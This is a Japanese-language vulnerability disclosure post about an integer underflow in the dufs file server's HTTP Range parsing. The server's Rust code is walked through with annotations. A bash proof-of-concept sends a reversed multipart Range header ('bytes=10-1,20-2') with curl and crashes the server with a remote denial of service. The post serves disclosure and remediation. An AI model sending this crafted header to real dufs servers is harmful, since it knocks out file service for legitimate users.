Post

Bughunt:🔍 Maltipart Range のパース処理における Integer Underflow によるリモート DoS 攻撃 (GHSA-826f-v74x-v324)

Bughunt:🔍 Maltipart Range のパース処理における Integer Underflow によるリモート DoS 攻撃 (GHSA-826f-v74x-v324)

Summary

  • Title: Integer Underflow in Multipart Range Parsing Allows Remote DoS via Memory Exhaustion
  • Credits: sl91994
  • Status: 報告済み (Closed)

Dufs (v0.45.0およびそれ以前) のHTTP Range ヘッダーのパース処理には,整数アンダーフロー (Integer Underflow) の脆弱性が存在します. 攻撃者が Range: bytes=500-1 のように,開始位置 (start) が終了位置 (end) を上回る 不正な値を指定したリクエストを送信すると,サーバー内部の計算式 $range_size = end - start + 1$ において符号なし64ビット整数 (u64) のアンダーフローが発生します.その結果,range_size約18エクサバイト という極めて巨大な正の数値として算出されます. また,Multipart Range でこれがトリガーされると,Release であってもプロセスが Panic し強制終了します.

Details

  • 脆弱性発見日: 2026-03-30
  • 脆弱性確認バージョン: dufs v0.45.0
  • Primary CWE:
    • CWE-191: Integer Underflow (Wrap or Wraparound)
  • Secondary CWE:
    • CWE-789: Memory Allocation with Excessive Size Value
  • CVSS:
    • CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N: High 8.7

utils.rs:101parse_range() が,utils.rs:124-125end < size だけを見ており,start <= end を検証していない. それに加えて,テストが欠落しており utils.rs:168test_parse_range() に逆順のRange (start > end) ケースがありません. よって,Range: bytes=10-1bytes=10-1,20-2 のような逆順指定を行うことで parse_range() を通過し,後の handle_send_file() で $end - start + 1$ が u64 でアンダーフローします. Single Range の処理ルート(ranges.len() == 1)においては,異常に大きい Content-Length が生成されるものの,LengthLimitedStream によるストリーミング処理となるため即座のメモリ枯渇には至りません.しかし,Multipart Range の処理ルート(elseブロック) においては,let mut buffer = vec![0; range_size as usize]; によってアンダーフローした巨大なサイズのベクタ領域を一括確保しようとします. その結果,release ビルド実行時においても標準ライブラリの capacity overflow を引き起こしてパニックに至り,プロセス全体が強制終了するリモートDoSが成立します.

入力受け取り側: utils.rs > parse_range(): 124-125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pub fn parse_range(range: &str, size: u64) -> Option<Vec<(u64, u64)>> {
    let (unit, ranges) = range.split_once('=')?;
    if unit != "bytes" {
        return None;
    }

    let mut result = Vec::new();
    for range in ranges.split(',') {
        let (start, end) = range.trim().split_once('-')?;
        if start.is_empty() {
            let offset = end.parse::<u64>().ok()?;
            if offset <= size {
                result.push((size - offset, size - 1));
            } else {
                return None;
            }
        } else {
            let start = start.parse::<u64>().ok()?;
            if start < size {
                if end.is_empty() {
                    result.push((start, size - 1));
                } else {
                    let end = end.parse::<u64>().ok()?;
                    // end < size しか検証しておらず,start <= end を検証していない
                    if end < size {
                        result.push((start, end));
                    } else {
                        return None;
                    }
                }
            } else {
                return None;
            }
        }
    }

    Some(result)
}

server.rs:884range_size = end - start + 1 を計算します.これにより,アンダーフローが発生します.

Single Rangeでの使用側: server.rs > Impl Server{} > handle_send_file(): 884

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
    async fn handle_send_file(
        &self,
        path: &Path,
        headers: &HeaderMap<HeaderValue>,
        head_only: bool,
        res: &mut Response,
    ) -> Result<()> {
	//...
        if let Some(ranges) = ranges {
            if let Some(ranges) = ranges {
                if ranges.len() == 1 {
                    let (start, end) = ranges[0];
                    file.seek(SeekFrom::Start(start)).await?;
                    // Single Range
                    let range_size = end - start + 1;
                    *res.status_mut() = StatusCode::PARTIAL_CONTENT;
                    let content_range = format!("bytes {start}-{end}/{size}");
                    res.headers_mut()
                        .insert(CONTENT_RANGE, content_range.parse()?);
                    res.headers_mut()
                        .insert(CONTENT_LENGTH, format!("{range_size}").parse()?);
                    if head_only {
                        return Ok(());
                    }
                    let stream_body = StreamBody::new(
                        LengthLimitedStream::new(file, range_size as usize)
                            .map_ok(Frame::data)
                            .map_err(|err| anyhow!("{err}")),
                    );
                    let boxed_body = stream_body.boxed();
                    *res.body_mut() = boxed_body;
                } else {
				//...
                }
            } else {
                *res.status_mut() = StatusCode::RANGE_NOT_SATISFIABLE;
                res.headers_mut()
                    .insert(CONTENT_RANGE, format!("bytes */{size}").parse()?);
            }
        } else {
            res.headers_mut()
                .insert(CONTENT_LENGTH, format!("{size}").parse()?);
            if head_only {
                return Ok(());
            }

            let reader_stream = ReaderStream::with_capacity(file, BUF_SIZE);
            let stream_body = StreamBody::new(
                reader_stream
                    .map_ok(Frame::data)
                    .map_err(|err| anyhow!("{err}")),
            );
            let boxed_body = stream_body.boxed();
            *res.body_mut() = boxed_body;
        }
        Ok(())
    }

Multi Range でも 909 行目の同一処理で Single Range と同じアンダーフローが発生します. しかし,915 行目の後の処理で let mut buffer = vec![0; range_size as usize]; を使用しているため,領域確保に失敗し Panic が発生します.

Multi Rangeでの使用側: server.rs > Impl Server{} > handle_send_file(): 909-915

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
    async fn handle_send_file(
        &self,
        path: &Path,
        headers: &HeaderMap<HeaderValue>,
        head_only: bool,
        res: &mut Response,
    ) -> Result<()> {
	//...
        if let Some(ranges) = ranges {
            if let Some(ranges) = ranges {
                if ranges.len() == 1 {
					//...
                } else {
                    *res.status_mut() = StatusCode::PARTIAL_CONTENT;
                    let boundary = Uuid::new_v4();
                    let mut body = Vec::new();
                    let content_type = get_content_type(path).await?;
                    for (start, end) in ranges {
                        file.seek(SeekFrom::Start(start)).await?;
                        // Multipart Range で同計算を行う (Multipart range_size: 18446744073709551608)
                        let range_size = end - start + 1;
                        let content_range = format!("bytes {start}-{end}/{size}");
                        let part_header = format!(
                            "--{boundary}\r\nContent-Type: {content_type}\r\nContent-Range: {content_range}\r\n\r\n",
                        );
                        body.extend_from_slice(part_header.as_bytes());
                        // ベクタ領域を確保 (アンダーフローしたサイズの領域を確保しようとして,Panic)
                        let mut buffer = vec![0; range_size as usize];
                        file.read_exact(&mut buffer).await?;
                        body.extend_from_slice(&buffer);
                        body.extend_from_slice(b"\r\n");
                    }
                    body.extend_from_slice(format!("--{boundary}--\r\n").as_bytes());
                    res.headers_mut().insert(
                        CONTENT_TYPE,
                        format!("multipart/byteranges; boundary={boundary}").parse()?,
                    );
                    res.headers_mut()
                        .insert(CONTENT_LENGTH, format!("{}", body.len()).parse()?);
                    if head_only {
                        return Ok(());
                    }
                    *res.body_mut() = body_full(body);
                }
            } else {
                *res.status_mut() = StatusCode::RANGE_NOT_SATISFIABLE;
                res.headers_mut()
                    .insert(CONTENT_RANGE, format!("bytes */{size}").parse()?);
            }
        } else {
            res.headers_mut()
                .insert(CONTENT_LENGTH, format!("{size}").parse()?);
            if head_only {
                return Ok(());
            }

            let reader_stream = ReaderStream::with_capacity(file, BUF_SIZE);
            let stream_body = StreamBody::new(
                reader_stream
                    .map_ok(Frame::data)
                    .map_err(|err| anyhow!("{err}")),
            );
            let boxed_body = stream_body.boxed();
            *res.body_mut() = boxed_body;
        }
        Ok(())
    }

PoC

検証環境:

  • dufs v0.45.0
  • Linux (任意のディストリビューション)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/bin/bash
set -e

# PoC: Integer Underflow in Multipart Range Parsing Allows Remote DoS via Memory Exhaustion
# Tested: dufs v0.45.0

ROOT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
HOST=${HOST:-127.0.0.1}
PORT=${PORT:-8888}
BIN=${BIN:-"$ROOT_DIR/target/release/dufs"}
TEST_ROOT=${TEST_ROOT:-"$ROOT_DIR/test_root"}
TARGET_FILE=${TARGET_FILE:-"$TEST_ROOT/test.txt"}
LOG_FILE=${LOG_FILE:-"$ROOT_DIR/dufs-poc-range-dos.log"}
PANIC_LOG=${PANIC_LOG:-"$ROOT_DIR/dufs-poc-range-dos.stderr.log"}
URL="http://$HOST:$PORT/$(basename "$TARGET_FILE")"

if [ ! -x "$BIN" ]; then
  echo "[+] release binary not found, building..."
  (cd "$ROOT_DIR" && cargo build --release)
fi

mkdir -p "$TEST_ROOT"

if [ ! -f "$TARGET_FILE" ] || [ "$(wc -c < "$TARGET_FILE")" -lt 1024 ]; then
  : > "$TARGET_FILE"
  i=0
  while [ "$i" -lt 300 ]; do
    printf 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n' >> "$TARGET_FILE"
    i=$((i + 1))
  done
fi

echo "[+] target file: $TARGET_FILE ($(wc -c < "$TARGET_FILE") bytes)"

cleanup() {
  if [ -n "${SERVER_PID:-}" ] && kill -0 "$SERVER_PID" 2>/dev/null; then
    kill "$SERVER_PID" 2>/dev/null || true
    wait "$SERVER_PID" 2>/dev/null || true
  fi
}
trap cleanup EXIT INT TERM

rm -f "$PANIC_LOG"
"$BIN" "$TEST_ROOT" --port "$PORT" --log-file "$LOG_FILE" >/dev/null 2>"$PANIC_LOG" &
SERVER_PID=$!

sleep 1
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
  echo "[-] server failed to start"
  exit 1
fi

echo "[+] server started: pid=$SERVER_PID, url=$URL"
echo

echo "[1/3] baseline request (normal range)"
curl -i -sS -H 'Range: bytes=0-9' "$URL" | sed -n '1,10p'
echo

echo "[2/3] reversed single range"
curl -i -sS -H 'Range: bytes=10-1' "$URL" | sed -n '1,10p'
echo

echo "[3/3] reversed multipart range (DoS trigger)"
set +e
CURL_OUT=$(curl -i -sS -H 'Range: bytes=10-1,20-2' "$URL" 2>&1)
CURL_RC=$?
set -e
printf '%s\n' "$CURL_OUT" | sed -n '1,30p'
echo "curl exit code: $CURL_RC"
echo

sleep 1
if kill -0 "$SERVER_PID" 2>/dev/null; then
  echo "[-] server is still alive; PoC did not crash this run"
  exit 1
fi

echo "[+] server crashed after crafted multipart range (PoC reproduced)"
if [ -s "$PANIC_LOG" ]; then
  echo "[+] panic stderr (tail):"
  tail -n 20 "$PANIC_LOG"
fi

Impact

  • High Severity Remote Denial of Service (DoS): 未認証のリモート攻撃者が,読み取り可能なファイルに対して細工したマルチパート Range ヘッダーを送信するだけで,Dufs サーバープロセスを即座にクラッシュさせることが可能です.
  • Default Configuration Vulnerability: --allow-upload などの追加設定は一切不要です.デフォルトの読み取り専用設定で動作しているサーバーであっても,公開されているファイルが一つでも存在すれば攻撃が成立します.
  • Process Termination (OOM/Panic): 約18エクサバイトという異常なメモリ確保リクエスト (capacity overflow) により,Rustのパニックが誘発され,プロセスが完全に強制終了 (core dumped) します.これにより,正当なユーザーに対するファイル配信サービスが完全に停止します.
  • Low Attack Complexity: 特殊な攻撃ツールや複雑な手順は不要であり,標準的な curl コマンド一行で攻撃が完了するため,悪用されるリスクが非常に高い状態です.
This post is licensed under CC BY 4.0 by the author.